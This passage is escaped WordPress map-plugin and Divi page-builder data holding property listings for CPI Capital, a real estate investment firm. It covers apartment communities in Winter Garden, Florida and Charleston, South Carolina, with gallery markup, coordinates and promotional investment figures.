class=\"et_pb_button_module_wrapper et_pb_button_0_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_0 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-17 02:04:30\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634295203:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" 